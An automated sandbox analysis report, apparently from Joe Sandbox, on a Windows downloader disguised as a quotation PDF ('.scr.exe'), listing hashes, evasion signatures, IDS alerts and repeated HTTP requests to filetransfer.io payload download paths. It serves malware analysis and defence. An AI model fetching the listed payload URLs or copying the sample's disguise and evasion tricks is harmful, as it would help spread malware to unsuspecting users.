Edit tour

Windows Analysis Report
QUOTATION_OCTQTRA071244PDF.scr.exe

Overview

General Information

Sample name:	QUOTATION_OCTQTRA071244PDF.scr.exe
Analysis ID:	1525546
MD5:	cbd14bdffd1cd9896494f1fff3c4e701
SHA1:	9ed35936b580f0ad106c15e19ab71ce809b199f4
SHA256:	8f1a01a7621e8af1b08389b730f3688ff5f7c6cdab68e419c53a41cdea0819fd
Tags:	exescruser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Initial sample is a PE file and has a suspicious name

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

QUOTATION_OCTQTRA071244PDF.scr.exe (PID: 7484 cmdline: "C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe" MD5: CBD14BDFFD1CD9896494F1FFF3C4E701)

cleanup

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T11:22:55.760607+0200	2803305	3	Unknown Traffic	192.168.2.4	49733	188.114.96.3	80	TCP
2024-10-04T11:22:58.281373+0200	2803305	3	Unknown Traffic	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-04T11:23:02.701624+0200	2803305	3	Unknown Traffic	192.168.2.4	49738	188.114.97.3	443	TCP
2024-10-04T11:23:04.647267+0200	2803305	3	Unknown Traffic	192.168.2.4	49739	188.114.96.3	80	TCP
2024-10-04T11:23:05.525219+0200	2803305	3	Unknown Traffic	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:05.717879+0200	2803305	3	Unknown Traffic	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:05.914344+0200	2803305	3	Unknown Traffic	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:06.106955+0200	2803305	3	Unknown Traffic	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:06.300891+0200	2803305	3	Unknown Traffic	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:06.500511+0200	2803305	3	Unknown Traffic	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:06.694577+0200	2803305	3	Unknown Traffic	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:06.942423+0200	2803305	3	Unknown Traffic	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:09.129229+0200	2803305	3	Unknown Traffic	192.168.2.4	49756	188.114.96.3	80	TCP
2024-10-04T11:23:09.324663+0200	2803305	3	Unknown Traffic	192.168.2.4	49756	188.114.96.3	80	TCP
2024-10-04T11:23:09.525285+0200	2803305	3	Unknown Traffic	192.168.2.4	49756	188.114.96.3	80	TCP
2024-10-04T11:23:09.722387+0200	2803305	3	Unknown Traffic	192.168.2.4	49756	188.114.96.3	80	TCP
2024-10-04T11:23:09.917824+0200	2803305	3	Unknown Traffic	192.168.2.4	49756	188.114.96.3	80	TCP
2024-10-04T11:23:10.132235+0200	2803305	3	Unknown Traffic	192.168.2.4	49756	188.114.96.3	80	TCP
2024-10-04T11:23:10.379952+0200	2803305	3	Unknown Traffic	192.168.2.4	49756	188.114.96.3	80	TCP
2024-10-04T11:23:11.019589+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:11.296717+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:11.494279+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:11.705151+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:11.918637+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:12.114524+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:12.307420+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:12.502353+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:12.694850+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:12.886737+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:13.084571+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:13.277987+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:13.472216+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:13.665190+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:13.859809+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:14.052111+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:14.246874+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:14.441679+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:14.676887+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:15.431256+0200	2803305	3	Unknown Traffic	192.168.2.4	49781	188.114.96.3	80	TCP
2024-10-04T11:23:15.626769+0200	2803305	3	Unknown Traffic	192.168.2.4	49781	188.114.96.3	80	TCP
2024-10-04T11:23:15.864393+0200	2803305	3	Unknown Traffic	192.168.2.4	49781	188.114.96.3	80	TCP
2024-10-04T11:23:16.615766+0200	2803305	3	Unknown Traffic	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:16.821149+0200	2803305	3	Unknown Traffic	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:17.016079+0200	2803305	3	Unknown Traffic	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:17.209351+0200	2803305	3	Unknown Traffic	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:17.402092+0200	2803305	3	Unknown Traffic	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:17.598246+0200	2803305	3	Unknown Traffic	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:17.791411+0200	2803305	3	Unknown Traffic	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:17.984864+0200	2803305	3	Unknown Traffic	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:18.195336+0200	2803305	3	Unknown Traffic	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:18.711918+0200	2803305	3	Unknown Traffic	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:18.942531+0200	2803305	3	Unknown Traffic	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:19.223767+0200	2803305	3	Unknown Traffic	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:20.539775+0200	2803305	3	Unknown Traffic	192.168.2.4	49797	188.114.96.3	80	TCP
2024-10-04T11:23:20.786301+0200	2803305	3	Unknown Traffic	192.168.2.4	49797	188.114.96.3	80	TCP
2024-10-04T11:23:21.551880+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:21.989293+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:22.188608+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:22.381585+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:22.574748+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:22.767600+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:22.963246+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:23.155870+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:23.488132+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:23.679195+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:23.911261+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:24.203093+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:24.396634+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:24.590452+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:24.781851+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:25.020755+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:25.438297+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:25.630675+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:25.822909+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:26.016146+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:26.210103+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:26.402365+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:26.595172+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:26.833280+0200	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:27.586308+0200	2803305	3	Unknown Traffic	192.168.2.4	49817	188.114.96.3	80	TCP
2024-10-04T11:23:27.833202+0200	2803305	3	Unknown Traffic	192.168.2.4	49817	188.114.96.3	80	TCP
2024-10-04T11:23:28.820205+0200	2803305	3	Unknown Traffic	192.168.2.4	49820	188.114.96.3	80	TCP
2024-10-04T11:23:29.016537+0200	2803305	3	Unknown Traffic	192.168.2.4	49820	188.114.96.3	80	TCP
2024-10-04T11:23:29.255122+0200	2803305	3	Unknown Traffic	192.168.2.4	49820	188.114.96.3	80	TCP
2024-10-04T11:23:29.548677+0200	2803305	3	Unknown Traffic	192.168.2.4	49820	188.114.96.3	80	TCP
2024-10-04T11:23:29.766542+0200	2803305	3	Unknown Traffic	192.168.2.4	49820	188.114.96.3	80	TCP
2024-10-04T11:23:30.005011+0200	2803305	3	Unknown Traffic	192.168.2.4	49820	188.114.96.3	80	TCP
2024-10-04T11:23:30.803972+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:30.997643+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:31.190951+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:31.385856+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:31.582705+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:31.777608+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:31.972949+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:32.387649+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:32.611374+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:32.805805+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:33.002986+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:33.197672+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:33.392175+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:33.585087+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:33.817767+0200	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:34.710076+0200	2803305	3	Unknown Traffic	192.168.2.4	49838	188.114.96.3	80	TCP
2024-10-04T11:23:34.914043+0200	2803305	3	Unknown Traffic	192.168.2.4	49838	188.114.96.3	80	TCP
2024-10-04T11:23:35.111308+0200	2803305	3	Unknown Traffic	192.168.2.4	49838	188.114.96.3	80	TCP
2024-10-04T11:23:35.309084+0200	2803305	3	Unknown Traffic	192.168.2.4	49838	188.114.96.3	80	TCP
2024-10-04T11:23:35.770176+0200	2803305	3	Unknown Traffic	192.168.2.4	49838	188.114.96.3	80	TCP
2024-10-04T11:23:35.967511+0200	2803305	3	Unknown Traffic	192.168.2.4	49838	188.114.96.3	80	TCP
2024-10-04T11:23:36.208253+0200	2803305	3	Unknown Traffic	192.168.2.4	49838	188.114.96.3	80	TCP
2024-10-04T11:23:37.411330+0200	2803305	3	Unknown Traffic	192.168.2.4	49845	188.114.96.3	80	TCP
2024-10-04T11:23:42.286285+0200	2803305	3	Unknown Traffic	192.168.2.4	49849	188.114.96.3	80	TCP
2024-10-04T11:23:49.936338+0200	2803305	3	Unknown Traffic	192.168.2.4	49878	188.114.97.3	443	TCP
2024-10-04T11:23:52.728195+0200	2803305	3	Unknown Traffic	192.168.2.4	49890	188.114.96.3	80	TCP
2024-10-04T11:23:53.306581+0200	2803305	3	Unknown Traffic	192.168.2.4	49890	188.114.96.3	80	TCP
2024-10-04T11:23:58.023160+0200	2803305	3	Unknown Traffic	192.168.2.4	49917	188.114.96.3	80	TCP
2024-10-04T11:23:58.270308+0200	2803305	3	Unknown Traffic	192.168.2.4	49917	188.114.96.3	80	TCP
2024-10-04T11:24:02.457718+0200	2803305	3	Unknown Traffic	192.168.2.4	49946	188.114.96.3	80	TCP
2024-10-04T11:24:07.285806+0200	2803305	3	Unknown Traffic	192.168.2.4	49982	188.114.96.3	80	TCP
2024-10-04T11:24:13.176274+0200	2803305	3	Unknown Traffic	192.168.2.4	50015	188.114.96.3	80	TCP
2024-10-04T11:24:17.879287+0200	2803305	3	Unknown Traffic	192.168.2.4	50046	188.114.96.3	80	TCP
2024-10-04T11:24:23.535455+0200	2803305	3	Unknown Traffic	192.168.2.4	50087	188.114.96.3	80	TCP
2024-10-04T11:24:28.113507+0200	2803305	3	Unknown Traffic	192.168.2.4	50120	188.114.96.3	80	TCP
2024-10-04T11:24:28.403258+0200	2803305	3	Unknown Traffic	192.168.2.4	50120	188.114.96.3	80	TCP
2024-10-04T11:24:28.695499+0200	2803305	3	Unknown Traffic	192.168.2.4	50120	188.114.96.3	80	TCP
2024-10-04T11:24:29.551038+0200	2803305	3	Unknown Traffic	192.168.2.4	50133	188.114.96.3	80	TCP
2024-10-04T11:24:34.629095+0200	2803305	3	Unknown Traffic	192.168.2.4	50158	188.114.96.3	80	TCP
2024-10-04T11:24:39.129114+0200	2803305	3	Unknown Traffic	192.168.2.4	50162	188.114.96.3	80	TCP
2024-10-04T11:24:43.429377+0200	2803305	3	Unknown Traffic	192.168.2.4	50166	188.114.96.3	80	TCP
2024-10-04T11:24:48.128796+0200	2803305	3	Unknown Traffic	192.168.2.4	50171	188.114.96.3	80	TCP
2024-10-04T11:24:53.037145+0200	2803305	3	Unknown Traffic	192.168.2.4	50175	188.114.96.3	80	TCP
2024-10-04T11:24:59.321118+0200	2803305	3	Unknown Traffic	192.168.2.4	50181	188.114.96.3	80	TCP
2024-10-04T11:25:06.501105+0200	2803305	3	Unknown Traffic	192.168.2.4	50187	188.114.97.3	443	TCP
2024-10-04T11:25:08.020116+0200	2803305	3	Unknown Traffic	192.168.2.4	50188	188.114.96.3	80	TCP
2024-10-04T11:25:08.219350+0200	2803305	3	Unknown Traffic	192.168.2.4	50188	188.114.96.3	80	TCP
2024-10-04T11:25:08.414349+0200	2803305	3	Unknown Traffic	192.168.2.4	50188	188.114.96.3	80	TCP
2024-10-04T11:25:08.608743+0200	2803305	3	Unknown Traffic	192.168.2.4	50188	188.114.96.3	80	TCP
2024-10-04T11:25:08.803641+0200	2803305	3	Unknown Traffic	192.168.2.4	50188	188.114.96.3	80	TCP
2024-10-04T11:25:09.008902+0200	2803305	3	Unknown Traffic	192.168.2.4	50188	188.114.96.3	80	TCP
2024-10-04T11:25:09.570893+0200	2803305	3	Unknown Traffic	192.168.2.4	50192	188.114.96.3	80	TCP
2024-10-04T11:25:09.768883+0200	2803305	3	Unknown Traffic	192.168.2.4	50192	188.114.96.3	80	TCP
2024-10-04T11:25:09.963174+0200	2803305	3	Unknown Traffic	192.168.2.4	50192	188.114.96.3	80	TCP
2024-10-04T11:25:10.218736+0200	2803305	3	Unknown Traffic	192.168.2.4	50192	188.114.96.3	80	TCP
2024-10-04T11:25:10.957197+0200	2803305	3	Unknown Traffic	192.168.2.4	50196	188.114.96.3	80	TCP
2024-10-04T11:25:11.622855+0200	2803305	3	Unknown Traffic	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:11.817372+0200	2803305	3	Unknown Traffic	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:12.020510+0200	2803305	3	Unknown Traffic	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:12.213190+0200	2803305	3	Unknown Traffic	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:12.408634+0200	2803305	3	Unknown Traffic	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:12.603667+0200	2803305	3	Unknown Traffic	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:12.795360+0200	2803305	3	Unknown Traffic	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:12.989654+0200	2803305	3	Unknown Traffic	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:13.222964+0200	2803305	3	Unknown Traffic	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:13.995059+0200	2803305	3	Unknown Traffic	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:14.229954+0200	2803305	3	Unknown Traffic	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:14.434686+0200	2803305	3	Unknown Traffic	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:14.839750+0200	2803305	3	Unknown Traffic	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:15.040844+0200	2803305	3	Unknown Traffic	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:15.337129+0200	2803305	3	Unknown Traffic	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:15.536423+0200	2803305	3	Unknown Traffic	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:15.737337+0200	2803305	3	Unknown Traffic	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:16.051799+0200	2803305	3	Unknown Traffic	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:16.256284+0200	2803305	3	Unknown Traffic	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:16.548678+0200	2803305	3	Unknown Traffic	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:17.143974+0200	2803305	3	Unknown Traffic	192.168.2.4	50214	188.114.96.3	80	TCP
2024-10-04T11:25:21.832631+0200	2803305	3	Unknown Traffic	192.168.2.4	50218	188.114.96.3	80	TCP
2024-10-04T11:25:26.721854+0200	2803305	3	Unknown Traffic	192.168.2.4	50223	188.114.96.3	80	TCP
2024-10-04T11:25:31.632450+0200	2803305	3	Unknown Traffic	192.168.2.4	50227	188.114.96.3	80	TCP
2024-10-04T11:25:36.127914+0200	2803305	3	Unknown Traffic	192.168.2.4	50230	188.114.96.3	80	TCP
2024-10-04T11:25:40.205967+0200	2803305	3	Unknown Traffic	192.168.2.4	50233	188.114.96.3	80	TCP
2024-10-04T11:25:45.721714+0200	2803305	3	Unknown Traffic	192.168.2.4	50238	188.114.96.3	80	TCP
2024-10-04T11:25:49.536181+0200	2803305	3	Unknown Traffic	192.168.2.4	50241	188.114.96.3	80	TCP
2024-10-04T11:25:55.300053+0200	2803305	3	Unknown Traffic	192.168.2.4	50245	188.114.96.3	80	TCP
2024-10-04T11:26:00.175025+0200	2803305	3	Unknown Traffic	192.168.2.4	50249	188.114.97.3	80	TCP
2024-10-04T11:26:04.971926+0200	2803305	3	Unknown Traffic	192.168.2.4	50253	188.114.97.3	80	TCP
2024-10-04T11:26:10.064879+0200	2803305	3	Unknown Traffic	192.168.2.4	50257	188.114.97.3	80	TCP
2024-10-04T11:26:19.221011+0200	2803305	3	Unknown Traffic	192.168.2.4	50266	188.114.97.3	80	TCP
2024-10-04T11:26:23.831039+0200	2803305	3	Unknown Traffic	192.168.2.4	50270	188.114.97.3	80	TCP
2024-10-04T11:26:28.924032+0200	2803305	3	Unknown Traffic	192.168.2.4	50274	188.114.97.3	80	TCP
2024-10-04T11:26:33.846156+0200	2803305	3	Unknown Traffic	192.168.2.4	50278	188.114.97.3	80	TCP
2024-10-04T11:26:36.214201+0200	2803305	3	Unknown Traffic	192.168.2.4	50280	188.114.97.3	443	TCP
2024-10-04T11:26:47.666780+0200	2803305	3	Unknown Traffic	192.168.2.4	50290	188.114.97.3	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: QUOTATION_OCTQTRA071244PDF.scr.exe	ReversingLabs: Detection: 23%
Source: QUOTATION_OCTQTRA071244PDF.scr.exe	Virustotal: Detection: 36%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50207 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50216 version: TLS 1.2

Source: QUOTATION_OCTQTRA071244PDF.scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/4CRE38zxXqXG HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/TSnbub9PBiUP HTTP/1.1Host: s23.filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/rF55DMjHHO7R HTTP/1.1Host: s23.filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/qr9THGkhopIj HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/9EV86OzjvzKc HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/goqkE17IMIu9 HTTP/1.1Host: s23.filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/C8OPC9MoIN8L HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/8d0YtsDOnedA HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/KrgAyDYAYOu9 HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/XKE7H4fnB1y6 HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/8hFS5k720mAD HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/FMdaPuCZHHPj HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/5ERBgCCUdqAJ HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/yGXCKBDIQrAq HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/EobBo452Hdxh HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/UHZCmkCE5dCM HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/sI6TJT4vJ3Bm HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/sHIqABNcW3Ed HTTP/1.1Host: s23.filetransfer.ioConnection: Keep-Alive
